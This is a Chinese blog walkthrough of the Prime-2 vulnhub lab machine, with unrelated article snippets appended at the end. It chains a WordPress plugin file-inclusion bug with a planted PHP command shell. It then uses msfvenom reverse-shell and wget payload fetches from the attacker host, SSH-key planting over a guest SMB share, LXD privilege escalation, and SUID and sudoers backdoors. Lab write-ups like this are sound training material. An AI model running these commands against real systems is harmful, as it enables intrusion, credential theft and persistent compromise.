prime-2 靶場筆記(vuInhub靶場)

前言:

??????? 在本次靶場環境中涉及的知識點,主要包含LFI和SMB以及Lxd組提權,具體內容包括主機探測、端口掃描、目錄掃描、wpscan掃描、反彈shell、一句話木馬、容器、linux各種提權和維持。

環境介紹:

????????本靶場使用了kali(192.168.144.128) 靶機Ubuntu系統(192.168.144.179)

靶機下載地址:https://download.vulnhub.com/prime-2021/Prime-2.ova

一:信息收集

1. 主機探測:

當我們下載好靶機時,它是登錄不上的,無法使用ifconfig命令查看,我們就需要使用nmap等工具進行探測,找到準確的靶機IP地址。

命令:

?nmap -P0 192.168.144.0/24

發現了靶機的IP地址:192.168.144.179

1.1. 端口探測:

使用如下命令進行探測:

nmap -p 1-65535 -A 192.168.144.179

發現有如下端口進行開放并搜集到了開放的服務:

22:ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)

80:http? Apache/2.4.46 (Ubuntu)

139:netbios-ssn Samba smbd 4.6.2

445:netbios-ssn Samba smbd 4.6.2

10123:http ???? SimpleHTTPServer 0.6 (Python 3.9.4)

1.2. 目錄掃描:

先進行web方向的探測:

打開網頁,發現沒有什么有用的信息,接著進行目錄掃描,看看能不能找到隱藏的目錄信息:

我使用的是dirb工具,命令如下:

dirb http://192.168.144.179/

發現了如下目錄:

http://192.168.144.179/css/?


http://192.168.144.179/images/?


http://192.168.144.179/server/???


http://192.168.144.179/wp/?????

我每一個都看了一下發現沒什么有用的信息,但是這個wordpress先放一下,因為10123端口也是http服務,在看一下那個。

我在.bash_history中發現了這些內容:

sudo su -
ifconfig
ls
cd upload/
ls
ls -l
cd ..
ls -l
chmod 755 jarves/

jarves可能是個用戶,接著往下找,在something中發現了一點“提示”,jarvus確定是用戶了

??????????????

還在upload目錄下找到了一個shell.php文件,屬于命令注入漏洞,內容如下:

<?php echo system($_GET['cmd']);?>

但是現在還不知道怎么使用。

1.3. wpscan掃描:

好了,現在就剩下wordpress沒看了,我在這里使用了wpscan進行漏洞掃描了一下,注意:這里使用了API token(免費的噢~ 但有上限)還沒有用過的兄弟們,可以試下。

傳送門如下:

【網安神器篇】——WPScan漏洞掃描工具_wpscan下載-CSDN博客

wpscan --url http://192.168.144.179/wp/ --api-token <你的token>


掃描到了LFI漏洞。

二:漏洞利用

2.LFI漏洞(本地文件包含):

訪問payload地址:

WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion - PHP webapps Exploit

進行利用:(我這里使用了訪問源代碼的方式,可以看起來更整潔一些)

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

利用成功,這時可以和之前發現的shell.php進行聯用。

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=whoami

利用成功。

2.1.方式一 反彈shell:

使用msf生成一個php腳本

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.128 LPORT=6666 -f raw > shell.php

在生成腳本的目錄下輸入命令:

python -m http.server 8888????

靶機進行下載該文件:

使用了wget命令:從kali上下載文件到靶機的/tmp目錄下(一般/tmp目錄普通用戶也具有寫的權限)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell.php%20-O%20/tmp/shell.php

發現靶機請求了kali的資源,說明寫入成功,不相信的話也可以進行查看(使用F12)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=cat /tmp/shell.php

接著在kali進行監聽:

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.144.128

set lport 6666

run

觸發請求:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../tmp/shell.php

監聽成功。

2.2.方式二 上傳一句話木馬:

和前面同理:

上傳一句話木馬文件:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell1.php%20-O%20/tmp/shell1.php

收到了靶機的請求,上穿成功,使用蟻劍進行連接。

三:linux權限提升(Lxd提權)

3.SMB介紹:

?SMB(Server Message Block)服務是一種在局域網上共享文件和打印機的通信協議,主要用于局域網內的不同計算機之間提供文件及打印機等資源的共享服務

查看smb的配置文件:

cat /etc/samba/smb.conf

表明允許沒有進行身份驗證的訪客用戶訪問通過?net usershare?創建的用戶共享資源。

那么我們就可以使用smbclient命令行工具了

3.1.smbclient利用 及 ssh key免密登錄::

smbclient

? ? ?smbclient是一個smb服務器的客戶端的管理程序,可以交互式的訪問samba服務器。

詳細內容請看傳送門:

Linux基礎命令----smbclient - 一生有你llx - 博客園

查看SMB服務器所提供的所有共享資源:

smbclient -N -L? \\\\192.168.144.179

在進行查看你welcome文件夾:

smbclient -N? \\\\192.168.144.179\\welcome

嘗試寫入SSH KEY

創建一個.ssh的文件夾:

在kali上生成ssh key 命令如下:生成的公鑰會在/root/.ssh/目錄下

ssh-keygen

需要把id_rsa.pub文件名改為authorized_keys(需要進入/root/.ssh目錄下)

?mv id_rsa.pub authorized_keys

將公鑰傳入到靶機的.ssh目錄下:注意不要進入靶機的.ssh目錄下輸入如下指令,否則傳不進去

put /root/.ssh/authorized_keys .ssh/authorized_keys

使用ssh進行連接:

ssh jarves@192.168.144.179

使用id命令進行查看:發現有Lxd的權限

3.2.? Lxd介紹:

Linux Container(LXC)通常被認為是一種輕量級虛擬化技術,它介于Chroot和完整開發的虛擬機之間,LXC可以創建一個跟正常Linux操作系統十分接近的環境,但是不需要使用到單獨的內核資源。

傳送門如下:

lxd/lxc組提權 - hirak0 - 博客園

3.3. 利用Lxd進行Linux權限提升

需要下載lxd-alpine-builder-master.zip,大家可以通過百度網盤進行下載,在傳入kali去。
鏈接如下:

https://pan.baidu.com/s/1KXmXVuAI4XGoj9CO0cE11A?pwd=tzyr 提取碼: tzyr

kali:在壓縮包解壓后的路徑中,如下圖所示:

python -m http.server 8888

在靶機輸入:(注意路徑!!)再靶機中不需要解壓!!!

wget 192.168.144.128:8888/alpine-v3.13-x86_64-20210218_0139.tar.gz /alpine-v3.13-x86_64-20210218_0139.tar.gz

命令如下依次輸入:

初始化:
lxd init??????????????? #一直按回車就行

導入鏡像:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

查看鏡像:
lxc image list

進入容器:
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

權限為root,提權成功。

補充:

mnt目錄:

????????在類 Unix 系統(如 Linux)中是一個用于臨時掛載文件系統的目錄。這道題是把主機掛在到了容器里面。

四.權限維持:

4. SUID后門:

我在這里拿find命令進行演示:

對find設置為SUID權限(后門創建)

chmod u+s /mnt/root/usr/bin/find

查找SUID文件(普通的用戶jarves

find / -user root -perm -4000 -print 2>/dev/null

1. find 命令
find 是一個強大的文件搜索工具,用于在指定目錄及其子目錄中查找符合特定條件的文件和目錄。
2. /
這是 find 命令的搜索起始目錄,表示從根目錄開始搜索整個文件系統。
3. -user root
該選項用于指定搜索條件,即只查找由 root 用戶擁有的文件和目錄。在 Unix 系統中,每個文件和目錄都有一個所有者,root 用戶是系統的超級管理員,擁有最高權限。
4. -perm -4000
這是一個權限搜索條件。在 Unix 系統中,文件權限使用數字表示,每個權限位對應一個數值。4000 對應的是 SUID 權限。
SUID(Set User ID)是一種特殊的文件權限,當一個具有 SUID 權限的可執行文件被執行時,它會以文件所有者的身份運行。對于由 root 用戶擁有且設置了 SUID 權限的文件,任何用戶執行該文件時,都會以 root 用戶的身份運行,這可能會帶來安全風險。
- 前綴表示文件必須包含指定的所有權限位,即文件必須設置了 SUID 權限。
5. -print
該選項用于指定 find 命令的操作,即打印符合條件的文件和目錄的路徑。這是 find 命令的默認操作,所以在實際使用中,-print 可以省略。
6. 2>/dev/null
這是一個重定向操作。在 Unix 系統中,標準錯誤輸出的文件描述符是 2,/dev/null 是一個特殊的設備文件,寫入其中的數據會被丟棄。因此,2>/dev/null 的作用是將 find 命令執行過程中產生的錯誤信息重定向到 /dev/null,從而避免在終端上顯示這些錯誤信息。

在SUID權限中找到了find命令:

touch anyfile #必須要有這個文件
find anyfile -exec cat /etc/shadow \;??? #可以查看shadow文件了,還想要shell
find . -exec /bin/sh -p \; -quit
python3 -c 'import pty;pty.spawn("/bin/bash")';

?//在類 Unix 系統的命令行環境下執行的一條命令,其核心目的是借助 Python 代碼創建一個交互式的 Bash shell。

4.1.SUDO后門:

在sudoers中添加后門

echo 'jarves?? ALL=(ALL:ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers

參考文章:

lxd/lxc組提權 - hirak0 - 博客園

https://blog.csdn.net/weixin_45221204/article/details/139530533

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79233.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79233.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79233.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SparseDrive---論文閱讀

純視覺下的稀疏場景表示 算法動機&開創性思路 算法動機&#xff1a; 依賴于計算成本高昂的鳥瞰圖&#xff08;BEV&#xff09;特征表示。預測和規劃的設計過于直接&#xff0c;沒有充分利用周圍代理和自我車輛之間的高階和雙向交互。場景信息是在agent周圍提取&#xff…

旅游特種兵迪士尼大作戰:DeepSeek高精準路徑優化

DeepSeek大模型高性能核心技術與多模態融合開發 - 商品搜索 - 京東 隨著假期的腳步日漸臨近&#xff0c;環球影城等備受矚目的主題游樂場&#xff0c;已然成為大人與孩子們心中不可或缺的節日狂歡圣地。然而&#xff0c;隨之而來的龐大客流&#xff0c;卻總讓無數游客在歡樂的…

android rtsp 拉流h264 h265,解碼nv12轉碼nv21耗時卡頓問題及ffmpeg優化

一、 背景介紹及問題概述 項目需求需要在rk3568開發板上面&#xff0c;通過rtsp協議拉流的形式獲取攝像頭預覽&#xff0c;然后進行人臉識別 姿態識別等后續其它操作。由于rtsp協議一般使用h.264 h265視頻編碼格式&#xff08;也叫 AVC 和 HEVC&#xff09;是不能直接用于后續處…

運維面試題(十四)

6.將日志從一臺服務器保存到另一臺服務器中的方法 1.使用 rsync 同步日志文件 2.使用 scp 手動或腳本化傳輸 3.配置日志服務&#xff08;如 syslog 或 rsyslog &#xff09;遠程傳輸 ? 4.編寫腳本定時上傳&#xff1a;結合 cron 定時任務和傳輸工具&#xff0c;編…

永磁同步電機控制中,滑模觀測器是基于反電動勢觀測轉子速度和角度的?擴展卡爾曼濾波觀測器是基于什么觀測的?擴展卡爾曼濾波觀測器也是基于反電動勢嗎?

滑模觀測器在PMSM中的應用&#xff1a; 滑模觀測器是一種非線性觀測器&#xff0c;利用切換函數設計&#xff0c;使得狀態估計誤差迅速趨近于零&#xff0c;實現快速響應和對外部干擾的魯棒性。 在永磁同步電機&#xff08;PMSM&#xff09;無傳感器控制中&#xff0c;滑模觀測…

【前端】Vue一本通 ESLint JSX

近幾天更新完畢&#xff0c;不定期持續更新&#xff0c;建議關注收藏點贊。 目錄 工具推薦vscode插件vue-devtoolsESLint JSX語法擴展簡介設計模式快速入門 vue/cli腳手架使用vue指令 工具推薦 工欲善其事&#xff0c;必先利其器。 vscode插件 Vetur&#xff1a;vue代碼高亮…

【adb】bat批處理+adb 自動亮屏,自動解鎖屏幕,啟動王者榮耀

準備adb 下載 需要確認是否安裝了adb.exe文件,可以在: 任務管理器 -->詳細信息–>找一下后臺運行的adb 安裝過anroid模擬器,也存在adb,例如:雷電安裝目錄 D:\leidian\LDPlayer9 單獨下載adb 官方下載地址:[官方網址] 下載目錄文件: 測試adb USB連接手機 首先在設置界…

微信小程序轉為App實踐篇 FinClip

參考下面鏈接先 開始實踐 微信小程序轉為App并上架應用市場_微信小程序生成app-CSDN博客 首先在FinClip 官網上下載應用 小程序開發工具下載_小程序sdk下載資源-FinClip資源下載|泰坪小程序開放平臺 下載到本地安裝 打開導入自己的小程序項目&#xff1b;導入時會解析自己的…

arco design框架中的樹形表格使用中的緩存問題

目錄 1.問題 2.解決方案 1.問題 arco design框架中的樹形表格使用中的緩存問題&#xff0c;使用了樹形表格的load-more懶加載 點擊展開按鈕后&#xff0c;點擊關閉&#xff0c;再次點擊展開按鈕時&#xff0c;沒有調用查詢接口&#xff0c;而是使用了緩存的數據。 2.解決方…

100個GEO基因表達芯片或轉錄組數據處理023.GSE24807

100個GEO基因表達芯片或轉錄組數據處理 寫在前邊 雖然現在是高通量測序的時代&#xff0c;但是GEO、ArrayExpress等數據庫儲存并公開大量的基因表達芯片數據&#xff0c;還是會有大量的需求去處理芯片數據&#xff0c;并且建模或驗證自己所研究基因的表達情況&#xff0c;芯片…

SAP ECCS標準報表在報表中不存在特征CG細分期間 消息號 GK715報錯分析

ECCS報表執行報錯&#xff1a; 在報表中不存在特征CG細分期間 消息號 GK715 診斷 未在報表中指定特征CG細分期間。但是&#xff0c;同時需要特征CG細分期間和其它特征。例如&#xff1a; 期間’需要用于擴展合并組。 系統響應 處理終止 步驟 調整報表定義。 報這個錯。 業務背景…

spring boot 文件下載

1.添加文件下載工具依賴 Commons IO is a library of utilities to assist with developing IO functionality. <dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.6</version> </depe…

FastAPI 中定義接口函數參數,包含請求體參數、查詢參數、依賴注入參數的組合

FastAPI 中定義接口函數參數&#xff0c;包含請求體參數、查詢參數、依賴注入參數的組合。 ? 示例結構 async def chat(request: Request,data: ChatData,conversation_id: Optional[str] Query(None),current_user: User Depends(get_current_user), ):這表示你定義了一個…

實用類題目

1. 密碼強度檢測 題目描述&#xff1a;生活中&#xff0c;為保證賬戶安全&#xff0c;密碼需要有一定強度。編寫一個方法&#xff0c;接收一個字符串作為密碼&#xff0c;判斷其是否符合以下強度要求&#xff1a;長度至少為 8 位&#xff0c;包含至少一個大寫字母、一個小寫字…

MATLAB學習筆記(二) 控制工程會用到的

MATLAB中 控制工程會用到的 基礎傳遞函數表達傳遞函數 零極點式 狀態空間表達式 相互轉化畫響應圖線根軌跡Nyquist圖和bode圖現控部分求約旦判能控能觀極點配置和狀態觀測 基礎 傳遞函數表達 % 拉普拉斯變換 syms t s a f exp(a*t) %e的a次方 l laplace(f) …

基于YOLOv9的課堂行為檢測系統

基于YOLOv9的課堂行為檢測系統 項目概述 本項目是一個基于YOLOv9深度學習模型的課堂行為檢測系統&#xff0c;旨在通過計算機視覺技術自動識別和監測課堂中學生的各種行為狀態&#xff0c;幫助教師更好地了解課堂教學效果。 項目結構 課堂行為檢測/ ├── data/ │ ├──…

C 語言中的 volatile 關鍵字

1、概念 volatile 是 C/C 語言中的一個類型修飾符&#xff0c;用于告知編譯器&#xff1a;該變量的值可能會在程序控制流之外被意外修改&#xff08;如硬件寄存器、多線程共享變量或信號處理函數等&#xff09;&#xff0c;因此編譯器不應對其進行激進的優化&#xff08;如緩存…

java 洛谷題單【算法2-1】前綴和、差分與離散化

P8218 【深進1.例1】求區間和 解題思路 前綴和數組&#xff1a; prefixSum[i] 表示數組 a 的前 (i) 項的和。通過 prefixSum[r] - prefixSum[l - 1] 可以快速計算區間 ([l, r]) 的和。 時間復雜度&#xff1a; 構建前綴和數組的時間復雜度是 (O(n))。每次查詢的時間復雜度是 …

綠盟二面面試題

5000篇網安資料庫https://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247486065&idx2&snb30ade8200e842743339d428f414475e&chksmc0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene21#wechat_redirect 1. 原理深度&…

線程安全學習

1 什么是線程 線程是cpu調度的最小單位&#xff0c;在Linux 下 實現線程的方式為輕量級進程&#xff0c;復用進程的結構體&#xff0c;使用clone函數創建 2 線程安全 所謂線程安全&#xff0c;更確切的應該描述為內存安全 #include <stdio.h> #include <pthread.h…